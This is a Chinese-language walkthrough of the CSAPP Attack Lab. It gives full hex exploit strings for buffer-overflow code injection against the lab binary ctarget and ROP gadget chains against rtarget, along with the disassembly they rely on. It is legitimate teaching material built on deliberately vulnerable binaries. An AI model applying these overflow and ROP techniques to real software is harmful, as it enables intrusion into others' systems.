1. 程式人生 > >CSAPP 3e: Attack Lab

CSAPP 3e: Attack Lab

程序 文檔轉換 方法 位置 prot 輸入 predict 而已 執行

  註意:開始這個實驗之前請仔細閱讀這個實驗的readme和writup(實驗說明和實驗攻略),仔細閱讀之後,事半功倍。

我使用的是從官網下載下來的self-study handout,實驗過程中不連接服務器(單機版的感覺),所以不涉及計分板這些東西,如果想要了解,參看readme文檔。

phase1:

  由文檔writup可知,這一關是對ctarget文件的操作,實驗目的是,通過利用緩沖區溢出漏洞,調用函數touch1()。

  

void touch1()

{
vlevel = 1;/* Part of validation protocol */
      printf("Touch1!: You called touch1()\n
"); validate(1); exit(0); }

  解析:這一關很簡單,只要你知道touch1()函數的地址,用該地址替換本來在棧頂的那個地址就行,即利用ret指令,使程序跳轉到touch1()函數。

  參看ctarget的反匯編文件:

  

00000000004017a8 <getbuf>:    
  4017a8:    48 83 ec 28              sub    $0x28,%rsp
  4017ac:    48 89 e7                 mov    %rsp,%rdi
  4017af:    e8 8c 02 00 00           callq  401a40
<Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4
017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi   4017d3: e8 e8 f4 ff ff callq 400cc0 <[email protected]> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <[email protected]>

  程序運行後先調用getbuf()函數,這個函數有溢出漏洞,溢出之後的內容會覆蓋棧頂。在本例中,緩沖區大小為0x28,即40個字節,超出40個字節後就是溢出的內容了。

  再看touch1的地址,0x4017c0;我們就知道該怎麽編輯第一關的解題字符串了。

fa 97 b9 59 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 00 00    /* 這裏是溢出內容,0x4017c0是touch1的地址,註意棧是8字節的 */

  用hex2raw將該touch1.txt文檔轉換成16進制字符串文檔touch1_raw.txt:hex2raw <touch1.txt>touch1_raw.txt。

 然後在GDB(GDB ctarget)中運行: r -q <touch1_raw.txt

  技術分享

  第一關,通過!

phase2:目的:調用touch2,看函數也可以知道,調用touch2需要傳遞一個與cookie一樣的unsigned值,函數第一個參數在匯編裏通過寄存器%rdi來傳遞。

void touch2(unsigned val)
{
vlevel = 2;/* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

反匯編代碼

00000000004017ec <touch2>:
  4017ec:    48 83 ec 08              sub    $0x8,%rsp
  4017f0:    89 fa                    mov    %edi,%edx                    #%edi傳遞cookie的值。
  4017f2:    c7 05 e0 2c 20 00 02     movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:    00 00 00 
  4017fc:    3b 3d e2 2c 20 00        cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>,即0x202ce2(%rip)上就是cookie,這裏是驗證輸入值是否正確
  401802:    75 20                    jne    401824 <touch2+0x38>
  401804:    be e8 30 40 00           mov    $0x4030e8,%esi
  401809:    bf 01 00 00 00           mov    $0x1,%edi
  40180e:    b8 00 00 00 00           mov    $0x0,%eax
  401813:    e8 d8 f5 ff ff           callq  400df0 <[email protected]>
  401818:    bf 02 00 00 00           mov    $0x2,%edi
  40181d:    e8 6b 04 00 00           callq  401c8d <validate>
  401822:    eb 1e                    jmp    401842 <touch2+0x56>
  401824:    be 10 31 40 00           mov    $0x403110,%esi
  401829:    bf 01 00 00 00           mov    $0x1,%edi
  40182e:    b8 00 00 00 00           mov    $0x0,%eax
  401833:    e8 b8 f5 ff ff           callq  400df0 <[email protected]>
  401838:    bf 02 00 00 00           mov    $0x2,%edi
  40183d:    e8 0d 05 00 00           callq  401d4f <fail>
  401842:    bf 00 00 00 00           mov    $0x0,%edi
  401847:    e8 f4 f5 ff ff           callq  400e40 <[email protected]>

  解析:為了實現將cookie作為參數傳遞給touch2,我們需要在調用touch2之前先將cookie傳遞給%edi : bf fa 97 b9 59 c3

  bf就是mov $立即數,%edi,  fa 97 b9 59 是我的cookie值,  c3 是ret指令。

  我需要用getbuf的ret跳轉到指令bf fa 97 b9 59  mov 0x59b997fa,%edi  ,再通過這條mov指令之後的ret指令跳轉到touch2,地址0x4017ec。

  這是我的答案

bf fa 97 b9 59 c3 00 00    /* mov 0x59b997fa,%edi */ /* ret */
00 00 00 00 00 00 00 00    
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00    /* getbuf的ret跳轉,跳轉到字符串開頭,即執行上邊的那個mov代碼 */
ec 17 40 00 00 00 00 00    /* 字符串開頭那指令後的ret跳轉,跳轉到touch2函數 */

  

  用hex2raw將該touch2.txt文檔轉換成16進制字符串文檔touch2_raw.txt:hex2raw <touch2.txt>touch2_raw.txt。

  然後在GDB(GDB ctarget)中運行: r -q <touch2_raw.txt

技術分享

  第二關,通過!

phase3: 調用touch3,touch3的參數是一個指向字符串的地址,字符串的內容是cookie,不是unsigned值,而是字符串形式的。

/* Compare string to hex represention of unsigned value */
 int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) { vlevel = 3;/* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }

  解析:我們需要傳遞一個指向字符串的地址,作為touch2的(第一個)參數,所以還是需要 mov $立即數,%edi 這個指令。其實不過是touch2的升級,只不過傳遞給%edi的一個是數值,一個是地址值。

這裏是答案

35 39 62 39 39 37 66 61  /* cookie值得字符串,“59b997fa” */
00 00 00 00 00 00 00 00  
bf 78 dc 61 55 c3 00 00  /* mov $0x5561dc78,%edi */  /* ret */
00 00 00 00 00 00 00 00  /* 0x5561dc78是字符串"59b997fa"的首地址 */
00 00 00 00 00 00 00 00
88 dc 61 55 00 00 00 00  /* 用ret跳轉到mov &0x5561dc78,%edi 指令 */
fa 18 40 00 00 00 00 00  /* 用ret跳轉到touch3函數 */

  驗證

技術分享

  第三關,通過!

phase4:註意!從這一關開始的最後兩關,是對rtarget的操作,要使用的是ROP攻擊方法。這一關裏要求用ROP方法重復實現第二關的挑戰。同時註意這一關只能使用farmc中的前半段,即:

0000000000401994 <start_farm>:
  401994:    b8 01 00 00 00           mov    $0x1,%eax
  401999:    c3                       retq   

000000000040199a <getval_142>:
  40199a:    b8 fb 78 90 90           mov    $0x909078fb,%eax
  40199f:    c3                       retq   

00000000004019a0 <addval_273>:
  4019a0:    8d 87 48 89 c7 c3        lea    -0x3c3876b8(%rdi),%eax    ;89 c7.
  4019a6:    c3                       retq   

00000000004019a7 <addval_219>:
  4019a7:    8d 87 51 73 58 90        lea    -0x6fa78caf(%rdi),%eax
  4019ad:    c3                       retq   

00000000004019ae <setval_237>:
  4019ae:    c7 07 48 89 c7 c7        movl   $0xc7c78948,(%rdi)    
  4019b4:    c3                       retq   

00000000004019b5 <setval_424>:
  4019b5:    c7 07 54 c2 58 92        movl   $0x9258c254,(%rdi)
  4019bb:    c3                       retq   

00000000004019bc <setval_470>:
  4019bc:    c7 07 63 48 8d c7        movl   $0xc78d4863,(%rdi)
  4019c2:    c3                       retq   

00000000004019c3 <setval_426>:
  4019c3:    c7 07 48 89 c7 90        movl   $0x90c78948,(%rdi)    ;89 c7 > movl %eax,%edi.
  4019c9:    c3                       retq   

00000000004019ca <getval_280>:11
  4019ca:    b8 29 58 90 c3           mov    $0xc3905829,%eax
  4019cf:    c3                       retq   

00000000004019d0 <mid_farm>:
  4019d0:    b8 01 00 00 00           mov    $0x1,%eax
  4019d5:    c3                       retq   

  解析:要帶參數調用touch2,必不可少的就是向%edi傳遞cookie值。通過觀察可以用的代碼,發現可以這樣實現。

  pop %rax        /* 出棧將cookie值傳遞給%rax */
  ret          /* 跳轉到下一個指令 */
  mov %eax,%edi    /* cookie值傳給%edi */
  ret          /* 跳轉到touch2 */

  然後,按照這個思路,出來了下邊這個答案。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00   /* popq %rax */
fa 97 b9 59 00 00 00 00   /* cookie */
c6 19 40 00 00 00 00 00    /* movl %eax,%edi */
ec 17 40 00 00 00 00 00    /* jump to touch2 */

  驗證

技術分享

  第四關,通過!

phase5: 最後一關,要求重復實現第三關的內容,同時可以使用start_farm到end_farm之間的全部代碼。(太長就不貼出來了)

這裏我也是卡了好久,後來參考了網上的方法。因為第三關,這裏已經是知道需要做的事情了,只不過流程不一樣而已,還有受限於可以使用的代碼不多。權衡之後,有了以下這個解法。

35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00            06 1a 40 00 00 00 00 00            /* mov %rsp,%rax */
a2 19 40 00 00 00 00 00            /* mov %rax,%rdi */

ab 19 40 00 00 00 00 00            /* pop %rax */
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00 /* mov %eax,%edx */ 70 1a 40 00 00 00 00 00 /* mov %edx,%ecx */ 13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */ d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */ a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */ fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 /* cookie string */ 00 00 00 00 00 00 00 00

mov %rsp,%rax    /* 要通過%rsp的值,進行相對偏差修正得到字符串首地址 */

mov %rax,%rdi    /* 所以將其傳遞給%rdi,這裏用了兩個指令使因為可以使用的指令中不存在 mov %rsp,%rdi。所以只好多來一步 */

pop %rax      /* 出棧傳給%rax的是字符串首地址與已被傳遞給%rdi的地址值之間的相對偏差值。

mov %eax,%edx

mov %edx,%ecx

mov %ecx,%esi    /* 以上三步只是為了實現 mov %eax,%esi */

lea (%rdi,%rsi,1),%rax  /* 通過運算得出字符串首地址,存儲在%rax中 */

mov %rax,%rdi      /* 字符串首地址傳遞給%rdi,之後就可以跳轉到touch2函數了 */

/* cookie */        /* 這裏是字符串,因為只有mov %eax,%esi 而不能做到 mov %rax,%rsi ,所以字符串位置不能相對%rsp為負值,負值會在從%rax到%eax的過程中切割,導致錯誤的值,所以只好把字符串放在了末尾,相對%rsp偏差為正值 */

  最後,驗證

技術分享

  第五關,通過!

結尾:這一關總算完了,終於可以好好準備開始下一個lab實驗了hhh。

CSAPP 3e: Attack Lab